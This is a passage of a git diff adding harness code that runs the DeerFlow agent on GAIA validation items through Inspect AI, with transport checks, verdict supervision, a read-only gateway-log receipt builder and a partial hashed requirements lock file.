mode for it. + args = parser.parse_intermixed_args() + os.umask(0o077) + try: + if args.action == "start": + code, result = start(args.run_id, args.arm, args.prompt or "", args.mode, args.caller) + elif args.action == "wait": + code, result = wait_run(args.run_id, args.arm, args.timeout, args.interval) + elif args.action == "result": + code, result = result_run(args.run_id, args.arm) + else: + code, result = cancel(args.run_id, args.arm) + except (OSError, ValueError, KeyError, TypeError, subprocess.SubprocessError) as exc: + code, result = 2, {"exit_code":2, "error_class":type(exc).__name__} + print(json.dumps(result)) + return code + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/blueprints/runtime-workers/deerflow/e2e/check.py b/blueprints/runtime-workers/deerflow/e2e/check.py new file mode 100644 index 000000000..4acf44b28 --- /dev/null +++ b/blueprints/runtime-workers/deerflow/e2e/check.py @@ -0,0 +1,64 @@ +"""Pre-grader transport sanity only. Never a task-success verdict. + +DeerFlow v2.1.0 client.py:538-565,830-910: values contain complete messages; +messages-tuple contains deltas and must not be appended to the values snapshot. +The final answer is handed unchanged to Inspect Evals v0.22.0 gaia_scorer. +No targets, answer normalization, generated-code execution or local oracle. +""" +from __future__ import annotations + +import json +import sys +from pathlib import Path + + +def read_completion(trace): + path = Path(trace) + if path.is_symlink() or not path.is_file() or path.stat().st_size > 64_000_000: + raise ValueError("missing or oversized native trace") + snapshot = None + ended = False + with path.open() as events: + for line in events: + try: + record = json.loads(line) + except ValueError as exc: + raise ValueError("malformed native event") from exc + if not isinstance(record, dict) or not isinstance(record.get("data"), dict): + raise ValueError("malformed native event") + if ended or record.get("type") == "error": + raise ValueError("failed or ambiguous native completion") + if record.get("type") == "values": + snapshot = record["data"].get("messages") + if record.get("type") == "end": + ended = True + if not ended or not isinstance(snapshot, list) or not snapshot: + raise ValueError("native end and final values snapshot are required") + final = snapshot[-1] + if not isinstance(final, dict) or final.get("type") != "ai" or final.get("tool_calls"): + raise ValueError("last message must be a final assistant answer") + content = final.get("content") + if isinstance(content, list): + # Match the upstream client's text-block extraction without coercion. + chunks = [] + for block in content: + if not isinstance(block, dict): + raise ValueError("malformed assistant content block") + if block.get("type") in {"text", "output_text"}: + if not isinstance(block.get("text"), str): + raise ValueError("malformed assistant text block") + chunks.append(block["text"]) + content = "".join(chunks) + if not isinstance(content, str) or not content.strip(): + raise ValueError("missing assistant answer") + return content + + +if __name__ == "__main__": + try: + read_completion(sys.argv[1]) + result = {"transport_ok": True, "verdict": "deferred to upstream gaia_scorer"} + except (OSError, ValueError, IndexError) as exc: + result = {"transport_ok": False, "error_class": type(exc).__name__} + print(json.dumps(result, sort_keys=True)) + raise SystemExit(0 if result["transport_ok"] else 1) diff --git a/blueprints/runtime-workers/deerflow/e2e/drive.py b/blueprints/runtime-workers/deerflow/e2e/drive.py new file mode 100644 index 000000000..81b01efdd --- /dev/null +++ b/blueprints/runtime-workers/deerflow/e2e/drive.py @@ -0,0 +1,36 @@ +"""Native client transport, DeerFlow v2.1.0 client.py:770-910,1255-1277. + +The host captures framework events outside every worker-visible mount. Inspect's +GAIA input is supplied unchanged; no answer target or scorer is mounted here. +""" +import importlib.metadata +import json +import os +import sys +from pathlib import Path + +from deerflow.client import DeerFlowClient + + +def main(): + print(json.dumps({"type": "worker-version", "data": { + "framework_version": importlib.metadata.version("deerflow-harness") + }}), flush=True) + client = DeerFlowClient(config_path=os.environ["DEER_FLOW_CONFIG_PATH"], + model_name="worker", thinking_enabled=True, + subagent_enabled=True, plan_mode=True) + inventory = client.list_skills(enabled_only=True) + print(json.dumps({"type": "worker-skills", "data": { + "names": sorted(s["name"] for s in inventory["skills"]) + }}), flush=True) + for event in client.stream(Path("/run-input.txt").read_text(), + thread_id=os.environ["DEERFLOW_CONVERSATION_ID"], recursion_limit=100): + print(json.dumps({"type": event.type, "data": event.data}, default=str), flush=True) + + +if __name__ == "__main__": + try: + main() + except Exception as exc: + print("DeerFlow run failed: " + type(exc).__name__, file=sys.stderr) + raise SystemExit(1) from None diff --git a/blueprints/runtime-workers/deerflow/e2e/evaluate.py b/blueprints/runtime-workers/deerflow/e2e/evaluate.py new file mode 100644 index 000000000..bfe214874 --- /dev/null +++ b/blueprints/runtime-workers/deerflow/e2e/evaluate.py @@ -0,0 +1,105 @@ +"""Supervise unchanged Inspect GAIA scoring; never compute an answer score. + +Inspect AI@0.3.271 model/_providers/providers.py:361-365 (none), +_cli/eval.py:1681-1682 (exit reports completion, not correctness), +log/_log.py:798-820,848-895 (scores/metrics). Status and result are host-written. +""" +from __future__ import annotations + +import argparse +import json +import os +from pathlib import Path +import re +import subprocess +import sys + +sys.path.insert(0, str(Path(__file__).resolve().parents[1])) +from recipe import HERE, PREFIX, STATE, arm_settings, read, write + + +def verdict(log, evidence_complete): + results = log.get("results") or {} + if (log.get("status") != "success" or not results.get("total_samples") + or results.get("completed_samples") != results["total_samples"]): + return 3, "incomplete" + scores = [s for s in results.get("scores", []) if s.get("name", "").split("/")[-1] == "gaia_scorer"] + if len(scores) != 1: + return 3, "incomplete" + value = scores[0].get("metrics", {}).get("accuracy", {}).get("value") + if type(value) not in (int, float) or not 0 <= value <= 1: + return 3, "incomplete" + if value < 1: + return 1, "negative" + return (0, "pass") if evidence_complete else (3, "incomplete") + + +def evaluate(frozen_id, run_id, arm, epochs): + if not re.fullmatch(r"[A-Za-z0-9][A-Za-z0-9_-]{0,63}", run_id) or not frozen_id or epochs < 1: + raise ValueError("provide a safe stable run ID, a frozen GAIA ID and positive epochs") + selection = arm_settings(read(STATE / "host.json") if (STATE / "host.json").is_file() else {}, arm) + run = STATE / "runs" / run_id + run.mkdir(parents=True, mode=0o700, exist_ok=False) + result_path = run / "result.json" + write(run / "status.json", {"status":"starting", "arm":arm, "result_path":str(result_path)}) + write(result_path, {"arm":arm, "verdict":"incomplete", "exit_code":3}) + print(json.dumps({"status_path":str(run / "status.json"), "result_path":str(result_path)}), flush=True) + logs = run / "inspect" + logs.mkdir(mode=0o700) + env = dict(os.environ, PYTHONDONTWRITEBYTECODE="1", DEERFLOW_RUN_ID=run_id, + RUNTIME_WORKER_ARM=arm, INSPECT_EVALS_CACHE_DIR=str(STATE / "eval-cache")) + command = [str(PREFIX / "grader/bin/inspect"), "eval", str(HERE / "e2e/gaia.py@deerflow_gaia"), + "-T", "instance_ids=" + frozen_id, "--model", "none", "--max-samples", "1", + "--epochs", str(epochs), "--log-format", "json", "--log-dir", str(logs)] + for name in ("arm", "model", "base_url"): + command.extend(["--metadata", name + "=" + selection[name]]) + try: + if not (STATE / "host.json").is_file(): + raise ValueError("host setup is missing") + with (run / "inspect-output.log").open("w") as output: + completed = subprocess.run(command, env=env, stdout=output, stderr=subprocess.STDOUT, check=False) + paths = sorted(logs.glob("*.json")) + log = read(paths[0]) if len(paths) == 1 else {} + attempts = [read(p) for p in sorted(run.glob("attempt-*/receipt.json"))] + evidence = len(attempts) == epochs and all( + a["transport"]["ok"] and a["gateway"].get("evidence_complete") + and a["observations"]["required_skills_activated"] + and all(v == "absent" for v in a["cleanup"].values()) for a in attempts) + code, label = verdict(log, evidence) + if completed.returncode and code == 0: + code, label = 3, "incomplete" + result = {**selection, "exit_code":code, "verdict":label, + "inspect_exit_code":completed.returncode, + "inspect_log":str(paths[0]) if len(paths) == 1 else None, + "receipt_path":str(run / "receipt.json")} + write(run / "receipt.json", {**selection, "grader":{ + "name":"inspect_evals.gaia.gaia_scorer", "version":"0.22.0", + "verdict":label, "accuracy":next((s.get("metrics", {}).get("accuracy", {}).get("value") + for s in (log.get("results") or {}).get("scores", []) if s.get("name", "").split("/")[-1] == "gaia_scorer"), None)}, + "attempts":attempts}) + except (OSError, ValueError, KeyError): + code = 2 + result = {**selection, "exit_code":code, "verdict":"setup-failure"} + write(result_path, result) + write(run / "status.json", {"status":result["verdict"], "arm":arm, "result_path":str(result_path), "exit_code":code}) + print(json.dumps({"result_path":str(result_path), "exit_code":code}), flush=True) + return code + + +def main(): + parser = argparse.ArgumentParser(description=__doc__) + parser.add_argument("frozen_id") + parser.add_argument("run_id") + parser.add_argument("--arm", choices=("control", "engines-on"), default=os.environ.get("RUNTIME_WORKER_ARM", "control")) + parser.add_argument("--epochs", type=int, default=int(os.environ.get("DEERFLOW_EPOCHS", "1"))) + args = parser.parse_args() + os.umask(0o077) + try: + return evaluate(args.frozen_id, args.run_id, args.arm, args.epochs) + except (OSError, ValueError): + print(json.dumps({"exit_code":2, "verdict":"setup-failure"})) + return 2 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/blueprints/runtime-workers/deerflow/e2e/expected.json b/blueprints/runtime-workers/deerflow/e2e/expected.json new file mode 100644 index 000000000..f862a7a72 --- /dev/null +++ b/blueprints/runtime-workers/deerflow/e2e/expected.json @@ -0,0 +1,54 @@ +{ + "source": { + "url": "https://api.github.com/repos/bytedance/deer-flow/commits/345f08be00c8a9495079b732a39b46aa9af1584e", + "commit": "345f08be00c8a9495079b732a39b46aa9af1584e", + "parent": "209a582373df18de73a0ac3982ec296b082eadf1", + "frozen_at": "2026-09-27", + "scope": "release commit only; independently read GitHub API before any E2E" + }, + "files": [ + { + "filename": "backend/pyproject.toml", + "status": "modified", + "additions": 1, + "deletions": 1, + "changes": 2 + }, + { + "filename": "backend/uv.lock", + "status": "modified", + "additions": 1, + "deletions": 1, + "changes": 2 + }, + { + "filename": "deploy/helm/deer-flow/Chart.yaml", + "status": "modified", + "additions": 2, + "deletions": 2, + "changes": 4 + }, + { + "filename": "frontend/package.json", + "status": "modified", + "additions": 1, + "deletions": 1, + "changes": 2 + } + ], + "summary": { + "file_count": 4, + "additions": 5, + "deletions": 5, + "changes": 10, + "by_status": { + "modified": 4 + }, + "paths": [ + "backend/pyproject.toml", + "backend/uv.lock", + "deploy/helm/deer-flow/Chart.yaml", + "frontend/package.json" + ] + } +} diff --git a/blueprints/runtime-workers/deerflow/e2e/gaia.py b/blueprints/runtime-workers/deerflow/e2e/gaia.py new file mode 100644 index 000000000..438b6a81a --- /dev/null +++ b/blueprints/runtime-workers/deerflow/e2e/gaia.py @@ -0,0 +1,45 @@ +"""Inspect Evals v0.22.0 GAIA task with a DeerFlow transport solver. + +References: inspect_evals/gaia/gaia.py; Inspect AI 0.3.271 docs/solvers.qmd. +The upstream dataset, prompt, scorer and metrics are retained. No local verdict. +Only no-attachment validation IDs are supported by this bounded transport. +""" +import asyncio +import sys +from pathlib import Path + +from inspect_ai import task +from inspect_ai.model import ModelOutput +from inspect_ai.solver import solver +from inspect_evals.gaia import gaia + +sys.path.insert(0, str(Path(__file__).resolve().parent)) +from run import run_worker + + +@solver +def deerflow(): + async def solve(state, generate): + result = await asyncio.to_thread(run_worker, state.input_text, str(state.sample_id), state.epoch) + state.output = ModelOutput.from_content(model=result["model"], content=result["completion"]) + state.metadata["deerflow_observation"] = result["receipt"] + state.completed = True + return state + + return solve + + +@task +def deerflow_gaia(instance_ids: str | list[str]): + ids = [instance_ids] if isinstance(instance_ids, str) else instance_ids + if not ids or any(not isinstance(i, str) or not i.strip() for i in ids) or len(set(ids)) != len(ids): + raise ValueError("freeze nonempty, unique GAIA validation instance IDs before running") + result = gaia(instance_ids=ids, split="validation", solver=deerflow()) + # Public Task.sandbox attribute. The custom worker owns its own labeled Docker + # container; Inspect must not create the default GAIA Docker sandbox too. + result.sandbox = None + if {str(sample.id) for sample in result.dataset} != set(ids): + raise ValueError("one or more frozen IDs are absent from GAIA validation") + if any(sample.files for sample in result.dataset): + raise ValueError("GAIA attachment staging is pending; select frozen no-attachment IDs") + return result diff --git a/blueprints/runtime-workers/deerflow/e2e/receipt.py b/blueprints/runtime-workers/deerflow/e2e/receipt.py new file mode 100644 index 000000000..a31f01d00 --- /dev/null +++ b/blueprints/runtime-workers/deerflow/e2e/receipt.py @@ -0,0 +1,298 @@ +"""Sanitized independent observation from the allowed gateway SQL projection. + +Source contract: gateway-owner 2026-09-27 allowlist; SQLite read-only URI and +authorizer APIs; DeerFlow v2.1.0 client.py:492-569 event serialization. Only +call_logs and the round-3 projection plus its required effort fields are read. +Correlation IDs join privately and never enter receipts. This is local glue, +not upstream acceptance. Window fallback cannot attribute concurrent traffic. +""" +from __future__ import annotations + +import argparse +import collections +from contextlib import closing +import datetime as dt +import json +import hashlib +import re +import sqlite3 +from pathlib import Path +from urllib.request import urlopen + +COLUMNS = ("timestamp", "path", "status", "model", "reasoning_effort_requested", + "reasoning_effort_upstream", "tokens_in", "tokens_cache_read", "tokens_reasoning", "correlation_id") +EFFORTS = {"none", "minimal", "low", "medium", "high", "xhigh", "max", "auto"} +SERVERS = {"context-mode", "serena", "jcodemunch", "qmd", "ai-memory", "socraticode"} +SKILLS = {"search-first", "verification-before-completion", "modern-python", "iterative-retrieval"} + + +def compression_snapshot(arm): + """OmniRoute@a58000c src/app/api/analytics/compression/route.ts:13-24; + src/lib/db/compressionAnalytics.ts:52-70. Global counters, not usage rows. + """ + if arm == "control": + return {"state":"not_applicable"} + if arm != "engines-on": + raise ValueError("invalid arm") + try: + with urlopen("http://127.0.0.1:20129/api/analytics/compression?since=all", timeout=10) as response: + raw = json.loads(response.read(1_000_001)) + keys = ("totalRequests", "totalTokensSaved", "totalSkipped") + if any(type(raw.get(k)) is not int or raw[k] < 0 for k in keys): + raise ValueError("unsupported compression summary") + return {"state":"observed", **{k:raw[k] for k in keys}} + except (OSError, ValueError, TypeError): + return {"state":"unavailable"} + + +def compression_delta(before, after): + keys = ("totalRequests", "totalTokensSaved", "totalSkipped") + complete = before.get("state") == after.get("state") == "observed" + if complete: + complete = all(type(before.get(k)) is int and type(after.get(k)) is int and after[k] >= before[k] for k in keys) + return {"state":"observed" if complete else "unavailable", "before":before, "after":after, + "delta":{k:after[k]-before[k] for k in keys} if complete else None, + "scope":"entry-gateway global compression counter delta; concurrent traffic may contribute; not provider usage"} + + +def sql_authorizer(action, arg1, arg2, database, trigger): + if action == sqlite3.SQLITE_READ: + return sqlite3.SQLITE_OK if arg1 == "call_logs" and arg2 in COLUMNS else sqlite3.SQLITE_DENY + if action in {sqlite3.SQLITE_SELECT, sqlite3.SQLITE_FUNCTION}: + return sqlite3.SQLITE_OK + return sqlite3.SQLITE_DENY + + +def safe_row(row): + raw = dict(zip(COLUMNS, row, strict=True)) + safe = {} + value = raw["timestamp"] + try: + if isinstance(value, (float, int)) or (isinstance(value, str) and value.replace(".", "", 1).isdigit()): + number = float(value) + value = dt.datetime.fromtimestamp(number / (1000 if number > 100_000_000_000 else 1), dt.UTC) + else: + value = dt.datetime.fromisoformat(value.replace("Z", "+00:00")) + safe["timestamp"] = value.isoformat() + except (TypeError, ValueError, OverflowError): + safe["timestamp"] = None + safe["path"] = raw["path"] if raw["path"] in {"/v1/responses", "/v1/chat/completions"} else "other" + status = str(raw["status"]) + safe["status"] = raw["status"] if re.fullmatch(r"[1-5][0-9]{2}|success|error|failed|completed", status) else None + model = raw["model"] + safe["model"] = model if isinstance(model, str) and re.fullmatch(r"(?:(?:cx|sharedgw)/)?gpt-6-[a-z0-9-]+-max", model) else "other-model" + for col in COLUMNS[4:6]: + safe[col] = raw[col] if raw[col] in EFFORTS else None + for col in COLUMNS[6:9]: + safe[col] = raw[col] if type(raw[col]) is int and raw[col] >= 0 else None + return safe + + +def gateway_rows(database, start, end, model=None, correlation_ids=None): + # mode=ro observes the live WAL. immutable=1 is intentionally NOT used. + uri = Path(database).resolve().as_uri() + "?mode=ro" + query = "SELECT " + ", ".join(COLUMNS) + " FROM call_logs WHERE " + ( + "CASE WHEN typeof(timestamp) IN ('integer','real') OR " + "(typeof(timestamp) = 'text' AND timestamp GLOB '[0-9]*' " + "AND timestamp NOT GLOB '*[^0-9.]*' " + "AND length(timestamp)-length(replace(timestamp,'.','')) <= 1) " + "THEN CAST(timestamp AS REAL) / CASE WHEN CAST(timestamp AS REAL) > 100000000000 THEN 1000.0 ELSE 1.0 END " + "ELSE (julianday(timestamp)-2440587.5)*86400 END BETWEEN ? AND ? ORDER BY timestamp" + ) + with closing(sqlite3.connect(uri, uri=True, timeout=3)) as connection: + connection.set_authorizer(sql_authorizer) + rows, seen = [], set() + for row in connection.execute(query, (start, end)): + if model and (row[3] not in {model, model.split("/")[-1]} + or row[1] not in {"/v1/responses", "/v1/chat/completions"}): + continue + if correlation_ids: + if row[-1] not in correlation_ids: + continue + if row[-1] in seen: + raise ValueError("ambiguous duplicate correlation at the entry gateway") + seen.add(row[-1]) + rows.append(safe_row(row)) + return rows + + +def gateway_observation(database, window, correlation_ids): + """Entry-gateway counters only; callLogs.ts effort fields are conditional. + + OmniRoute@a58000c src/sse/handlers/chatHelpers.ts:1172-1184 returns the + correlation header; the installed build's encrypted-effort rule is the + gateway owner's round-3 contract, not inferred from null SQL cells. + """ + try: + rows = gateway_rows(database, window["start_epoch"], window["end_epoch"], + window.get("model"), correlation_ids) + result = {"state": "observed" if rows else "no_rows", "rows": rows} + except (OSError, sqlite3.Error, ValueError) as exc: + result = {"state": "unavailable", "rows": [], "error_class": type(exc).__name__} + rows = [] + result["entry_gateway"] = 20129 if window.get("arm") == "engines-on" else 20128 + result["scope"] = ("correlated entry-gateway calls; IDs omitted" if correlation_ids else + "time window + model + path at entry gateway; concurrent traffic may be included") + result["correlations_captured"] = len(correlation_ids) + result["correlations_matched"] = len(rows) if correlation_ids else None + result["usage_total"] = None + complete = bool(correlation_ids) and len(rows) == len(correlation_ids) + if complete and all(type(row[k]) is int for row in rows for k in COLUMNS[6:9]): + result["usage_total"] = {k: sum(row[k] for row in rows) for k in COLUMNS[6:9]} + effort = {"with_reasoning_max": 0, "with_reasoning_non_max": 0, + "with_reasoning_unobserved_effort": 0, "no_returned_reasoning": 0, + "unknown_reasoning_tokens": 0} + for row in rows: + tokens = row["tokens_reasoning"] + if tokens is None: + effort["unknown_reasoning_tokens"] += 1 + elif tokens == 0: + effort["no_returned_reasoning"] += 1 + else: + values = [row[k] for k in COLUMNS[4:6]] + key = ("with_reasoning_non_max" if any(v is not None and v != "max" for v in values) + else "with_reasoning_unobserved_effort" if None in values else "with_reasoning_max") + effort[key] += 1 + result["effort"] = effort + result["evidence_complete"] = bool(complete and result["usage_total"] is not None + and effort["with_reasoning_max"] and not effort["with_reasoning_non_max"] + and not effort["with_reasoning_unobserved_effort"] and not effort["unknown_reasoning_tokens"]) + return result + + +def proxy_correlations(path): + """Read host-captured nginx logs; this path is never a worker bind mount.""" + found = set() + if Path(path).is_file(): + with Path(path).open() as source: + for line in source: + try: + value = json.loads(line).get("correlation_id") + if isinstance(value, str) and re.fullmatch(r"[A-Za-z0-9._:-]{1,128}", value) and value != "-": + found.add(value) + except (ValueError, AttributeError): + continue + return found + + +def observations(trace): + calls, returns = {}, {} + + def visit(message): + if not isinstance(message, dict): + return + for tool in message.get("tool_calls", []): + if isinstance(tool, dict) and tool.get("id"): + calls[str(tool["id"])] = tool + if message.get("type") == "tool" and message.get("tool_call_id"): + identity = str(message["tool_call_id"]) + # At client.py:527-564 neither serialization includes ToolMessage.status. + # Preserve emitted additional_kwargs (including subagent_status). + returns[identity] = {**returns.get(identity, {}), **message} + for message in message.get("messages", []): + visit(message) + + inventory = set() + if Path(trace).is_file(): + for line in Path(trace).read_text().splitlines(): + try: + event = json.loads(line) + if not isinstance(event, dict) or not isinstance(event.get("data"), dict): + continue + if event.get("type") == "worker-skills": + inventory.update(n for n in event["data"].get("names", []) + if isinstance(n, str) and re.fullmatch(r"[a-zA-Z0-9_-]{1,100}", n)) + visit(event["data"]) + except (ValueError, TypeError): + continue + mcps, skills = collections.Counter(), set() + task_results, task_completed, task_failures = 0, 0, 0 + for identity, call in calls.items(): + result = returns.get(identity) + if not result: + continue + name = call.get("name", "") + # Native status is authoritative even when the text is empty or an error. + # Reference: subagents/status_contract.py:67-89 at the pinned revision. + if name == "task": + task_results += 1 + status = result.get("additional_kwargs", {}).get("subagent_status") + if status == "completed": + task_completed += 1 + elif status in {"failed", "timed_out", "cancelled", "polling_timed_out"}: + task_failures += 1 + continue + content = str(result.get("content", "")) + if result.get("status") == "error" or not content or content.lstrip().lower().startswith(("error", "failed", "denied")): + continue + if any(name.startswith(s + "_") for s in SERVERS) and re.fullmatch(r"[a-zA-Z0-9_-]{1,100}", name): + mcps[name] += 1 + if name == "read_file": + path = str(call.get("args", {}).get("path", "")) + # LocalSandbox@345f08be local_sandbox.py:813-842 returns raw bytes + # as text, not numbered lines. Require actual bounded frontmatter. + frontmatter = re.match(r"\A---[ \t]*\r?\n(.*?)\r?\n---(?:[ \t]*\r?\n|$)", content.lstrip(), re.S) + for skill in inventory | SKILLS: + if (path in {f"/mnt/skills/{category}/{skill}/SKILL.md" for category in ("legacy", "custom", "public")} + and frontmatter and re.search(r"(?m)^name:\s*['\"]?" + re.escape(skill) + r"['\"]?\s*$", frontmatter[1])): + skills.add(skill) + return {"mcp_tool_results_observed": dict(sorted(mcps.items())), + "skills_listed_at_start": sorted(inventory), + "required_skills_activated": {"search-first", "verification-before-completion"} <= (inventory & skills), + "skill_reads_observed": sorted(skills), "task_results_observed": task_results, + "completed_tasks_observed": task_completed, "failed_tasks_observed": task_failures, + "scope": "lead native StreamEvents; child-only tool events are not assumed visible; returned results are observations, not semantic success certification"} + + +def build_receipt(run, database, pins): + run = Path(run) + window = json.loads((run / "window.json").read_text()) + gateway = gateway_observation(database, window, proxy_correlations(run / "gateway-correlation.jsonl")) + transport = {"ok": window.get("transport_ok") is True} + version = None + if (run / "framework-events.jsonl").is_file(): + with (run / "framework-events.jsonl").open() as trace: + for line in trace: + try: + record = json.loads(line) + except ValueError: + continue + if isinstance(record, dict) and record.get("type") == "worker-version" and isinstance(record.get("data"), dict): + candidate = record["data"].get("framework_version") + if isinstance(candidate, str) and re.fullmatch(r"[0-9]+\.[0-9]+\.[0-9]+", candidate): + version = candidate + break + artifacts = {} + for name in ("input.txt", "framework-events.jsonl"): + path = run / name + if path.is_file() and not path.is_symlink(): + artifacts[name] = hashlib.sha256(path.read_bytes()).hexdigest() + return {"schema_version": 3, "evidence_class": "pre-grader native transport with independent SQL observation", + "arm": window.get("arm"), "base_url": window.get("base_url"), "model": window.get("model"), + "header_names": window.get("header_names", []), "reasoning_effort": "max", + "compression": compression_delta(window.get("compression_before", {}), window.get("compression_after", {})), + "framework": {"tag": pins["tag"], "commit": pins["commit"], "observed_version": version, + "images": pins["images"]}, + "window": {"start_epoch": window["start_epoch"], "end_epoch": window["end_epoch"]}, + "framework_exit_code": window.get("framework_exit_code"), + "cleanup": {k: window.get(k) if window.get(k) in {"absent", "unknown"} else "unknown" + for k in ("framework_cleanup", "network_cleanup")}, + "artifact_sha256": artifacts, + "transport": transport, "gateway": gateway, + "grader": {"name": "inspect_evals.gaia.gaia_scorer", "version": "0.22.0", + "inspect_ai_version": "0.3.271", "verdict": None, + "verdict_location": "Inspect .eval log; this receipt is captured before upstream scoring"}, + "observations": observations(run / "framework-events.jsonl"), + "acceptance": "GAIA score belongs to Inspect; skills, gateway attribution and lifecycle require separate native observations"} + + +if __name__ == "__main__": + p = argparse.ArgumentParser() + p.add_argument("run", type=Path) + p.add_argument("--database", type=Path, default=Path.home() / ".local/share/omniroute/storage.sqlite") + p.add_argument("--pins", type=Path, default=Path(__file__).parents[1] / "pins.json") + args = p.parse_args() + receipt = build_receipt(args.run, args.database, json.loads(args.pins.read_text())) + (args.run / "receipt.json").write_text(json.dumps(receipt, indent=2) + "\n") + print(json.dumps({"receipt_written": True, "transport_ok": receipt["transport"]["ok"], + "gateway_observation": receipt["gateway"]["state"]})) diff --git a/blueprints/runtime-workers/deerflow/e2e/requirements.lock b/blueprints/runtime-workers/deerflow/e2e/requirements.lock new file mode 100644 index 000000000..3c118ae1b --- /dev/null +++ b/blueprints/runtime-workers/deerflow/e2e/requirements.lock @@ -0,0 +1,2685 @@ +agent-client-protocol==0.12.1 \ + --hash=sha256:9963ccb590ed96d7dc542c9c023e90676fc76b1c6562e21a9ee112f4fbcb0095 \ + --hash=sha256:aaf3cc301ed87d9e2c4ccb91adfe1cd58784355f6ce7e513f50e7ca2391862ef +aiobotocore==3.9.1 \ + --hash=sha256:23aa448b4daff3fdce0714c962a2050b63c0222b5f2b5c17d0c874eb76a50ac0 \ + --hash=sha256:617d4a78da5adb6ae7d532835727ad388f73555f2ef129b9de1b1add73a43ee6 +aiohappyeyeballs==2.7.1 \ + --hash=sha256:065665c041c42a5938ed220bdcd7230f22527fbec085e1853d2402c8a3615d9d \ + --hash=sha256:9243213661e29250eb41368e5daa826fc017156c3b8a11440826b2e3ed376472 +aiohttp==3.14.3 \ + --hash=sha256:03cd2bde3d7f085b64e549c985f4bb928cad7e8ecf5323bfca320db548d81b39 \ + --hash=sha256:041badb8f84396357c4d3ad26de6afd7a32b112f43d3c63045c0c8278cfd2043 \ + --hash=sha256:0a5ff2dfbb9ce645fa5b8ef3e02c6c0b9cc3f6030ff863d0c51fffc50cb5541b \ + --hash=sha256:0fdea2281997af69da84c77ffa6f5938a0285f21fb3887c249d67419ca865b3d \ + --hash=sha256:11fb37ef075669eee52ab1928fbf6e1741fada40409fa309ebde9607a962aebf \ + --hash=sha256:134ac5ddcf61c6fad984b9a5727d83492ada43d63471db20fb73042c13fca62f \ + --hash=sha256:152516815ef926786a0b6ae2b8f1fd2e0c71582dee0b435636865316fd4891b7 \ + --hash=sha256:1576145bdceeb92382d899751e12743a3a5b8e460a841e3e50543859e54864dc \ + --hash=sha256:16100ad3ab8d649fdfbee87602d9d2dcdca9df0b9eda8a1b5fdc0d41f96da559 \ + --hash=sha256:16ea7e24c309fb7c0bbd505d149abe4fe4dccfb8db911db7dbec0921bc889a6f \ + --hash=sha256:18c441d0a8fca6de8d1f546849b9f0ab20d435993e2c5b59562b2fae6be2f929 \ + --hash=sha256:18cb43369747b2ae007bd2655fb8e63a099c2ff1d207962943636dac989b3147 \ + --hash=sha256:1b59533861b70a2185c8f4f350f791f39d64358ef6944ce71c5240c9ec0982c9 \ + --hash=sha256:1c5281acc88b92396f88c7e1e2748f8466689df22b80170e4f51efa712fb47a8 \ + --hash=sha256:1c5ec8fb1bcc31a8466f74aaf26c345d5c386fa4bd08a3f0eb9c7a4a3fe8b5bf \ + --hash=sha256:1caa7b0d05f3e3a36f87788c59e970a7ee1cefcfcbb924a9f138c4a6551c9cb7 \ + --hash=sha256:21c016079415ed3fd676963e9793700a566d85dbbd6bfc564b9b2d209147dcc8 \ + --hash=sha256:2498f0fe69ead802f9675beca44a7c21c62fdaa4ec5145ea1c3ad6edbee29f85 \ + --hash=sha256:25bd2708db6bdf6a6630dd37bdcdfcb47c4434d22ac69c64665b802910140b30 \ + --hash=sha256:270d3dace9ca2f10f0da5d8ebe519b7a310fc6112ed916e32df5866df0888553 \ + --hash=sha256:2e1161602f45a54de2ce0905243a95f58cb42dcd378402f3697f5e0b21e9d2e7 \ + --hash=sha256:2e9878ae68e4a5f1c0abe4dd497dbc3d51946f5837b56759e2a02e78fa90ef86 \ + --hash=sha256:30402d03a7c0ff52bce290b57e564e9079fd9d0cb545c8aba73f86a103162d2e \ + --hash=sha256:33a2d7c28d33797a2e99923dffa63f83d908a19b6bf26cfe80fa790aa5e1a75a \ + --hash=sha256:362a3fd481769cac1a824514bcd86fda51c65e8fe6e051099e008fddde6db17c \ + --hash=sha256:38901a84da3ce22249f6e860bf8f90d141bcab7da090cc398f8bb58c0e44b7da \ + --hash=sha256:39aded8c7f3b935b54aab1d8d73c70ec0ee2d3ec3b943e0e86611bc150ba47f5 \ + --hash=sha256:3a26434dafe408229ff3403458ca58de24fb51936504decac49ce6755f77e59d \ + --hash=sha256:3ae5b3a59436d089b5395d910121a390feed4d00578eb95a0fd1a329fe963100 \ + --hash=sha256:3d4f72af88ac2474bb5bca640030320e3d38a0163a1d7533500e87be458eef71 \ + --hash=sha256:3f42e9b78301f11c8f861746175d8b9c1ccef713fcad9eab396e2f6db8ed4a22 \ + --hash=sha256:42a67efc36300d052fb4508a53e8b6901b9284b599ae63945c377569c5fcc1e1 \ + --hash=sha256:48d67b87db6279c044760787eb01f6413032c2e6f3ba1cafaa492b1c8e578479 \ + --hash=sha256:498c6c623134f8e09a3c4e60bcd607a0b4590dd7dbf08dd40851b27cbb520ccb \ + --hash=sha256:49f7325beb0f85ef4aef5f48f490269575f83e6e2acad00a1d80b807eb027062 \ + --hash=sha256:4e3ac92d90e92773b2362d506068e9a948192bd553e743c5b2429e28527c8661 \ + --hash=sha256:530125ee1163c4219af35dc3aa1206e541e7b31b6efc1a3f93b70a136f65d427 \ + --hash=sha256:5373dc80ad1aa2fb9ad95c83f24eef418bbda3a61375f128e5b0192e4f3f9b32 \ + --hash=sha256:53e5179d8abb5710f8e83ba207c41c8d1261fcffd4616500e15ca2b7a33be10a \ + --hash=sha256:53e7b4ce82b54a8bcc71b3b67a5cbd177ca1d7f592cbc92cd38b7349f73482db \ + --hash=sha256:543906c127fb1d929b95076db19b83fa2d46751006ff1e23b093aa5ac4d8db42 \ + --hash=sha256:54cfcdee2770dac994417cbb0ee1f3eb0e7cb6b30c79bf44f2c02ff79ec5124a \ + --hash=sha256:55bdcc472aafe2de4a253045cc128007a64f1e0264fb675791e132ea5edaa3bd \ + --hash=sha256:56f355e79f71aef2a85c80305cc915f894b170dba76de5fe84f6351939b83c06 \ + --hash=sha256:5895ef58c4620afe02fa16044f023dc4dafec08158f9d08874a46a7dbc0341b8 \ + --hash=sha256:5bcb6ff3fdab1258a192679ff1a05d44f59626430aa05cd1a9d2447423599228 \ + --hash=sha256:5f08ec777f35ee70720233b8b9811d3bb5d728137f30ac91b7457709c3261ac0 \ + --hash=sha256:614c61d478b83953e261d02bb2df750f17227cd33ef8002945bf5aebbde21919 \ + --hash=sha256:617105e2c3018ee38d0c8ce5ee3c84f621a6d8b9f723202aacaff28449ca91ee \ + 